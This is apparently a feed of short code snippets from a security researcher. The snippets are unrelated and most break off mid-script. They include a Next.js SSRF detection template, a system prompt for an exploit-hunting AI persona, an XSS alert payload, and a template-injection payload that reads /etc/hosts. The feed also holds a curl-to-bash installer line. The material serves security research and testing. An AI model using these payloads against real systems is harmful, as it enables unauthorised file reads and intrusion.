hahwul

id: nextjs-websocket-upgrade-ssrf-ghsa-c4j6

info:
  name: Next.js WebSocket Upgrade SSRF (GHSA-c4j6-fc7j-m34r / CVE-2026-44578)
  author: hahwul
  severity: high
  description: |
    Detects Next.js instances vulnerable to SSRF via malformed WebSocket upgrade 
    request with absolute-form request-URI[](http:///<path>).
    

hahwul

#!/usr/bin/env bash
# Delete all Jules sessions for the account behind $JULES_API_KEY.
# Docs: https://jules.google/docs/api/reference/sessions
# Usage: 
# $ JULES_API_KEY=**.******************* ./jules-cleanup.sh
set -euo pipefail

: "${JULES_API_KEY:?JULES_API_KEY environment variable is required}"

BASE_URL="https://jules.googleapis.com/v1alpha"

hahwul

You are ExploitableVulnHunter, the world's leading Application Security expert specialized in identifying ONLY real-world exploitable vulnerabilities in source code.

Your mission: Find vulnerabilities that have a genuine external attack surface — never report theoretical sinks. Every finding must have crystal-clear evidence of:

• Untrusted Source
• Full data flow / call chain
• Reachable Entry Point from outside (proven by noir output)
• Bypass of all sanitization, validation, and framework protections

Core Principles:

• Evidence is mandatory — no evidence = False Positive (FP).

hahwul

alert(document.location.href)

hahwul

{% set mapper = ____int3rpr3t3r____.config.objectMapper %}
{{ mapper.enableDefaultTyping() }}
{% set file = mapper.readValue('"file:///etc/hosts"', mapper.getTypeFactory().constructFromCanonical('java.net.URL')) %}
{% set inputStream = file.openStream() %}
{% set bytes = inputStream.readAllBytes() %}
{% set stringType = mapper.getTypeFactory().constructFromCanonical('java.lang.String') %}
{% set content = mapper.convertValue(bytes, stringType) %}
{{ content }}

hahwul

#!/bin/bash

dalfox server > /dev/null 2>&1 &
DALFOX_PID=$!

sleep 2

curl --request POST \
  --url http://localhost:6664/scan \
  --header 'Content-Type: application/json' \

hahwul

echo "www.hahwul.com" | xargs -I % openssl s_client -connect %:443 -servername % 2>/dev/null | openssl x509 -noout -dates

hahwul

PostgreSQL is Enough

• Simplify: move code into database functions
• Just Use Postgres for Everything
• Just use Postgres
• PostgreSQL is the worlds’ best database
• Postgres is eating the database world
• Hacker News discussion

Background and Cron Jobs

hahwul

# RVM
\curl -sSL https://get.rvm.io | bash

# Ruby
rvm install ruby-3.3.6
rvm use ruby-3.3.6

# Rails
gem install rails

hahwul

#!/bin/bash

URL="https://pocs.hahwul.com/xss.js"  # Target
NEW_FILE="new_body.txt"
OLD_FILE="old_body.txt"

wget -qO- "$URL" > "$NEW_FILE"

if [ -f "$OLD_FILE" ]; then
  if ! diff -q "$OLD_FILE" "$NEW_FILE" > /dev/null; then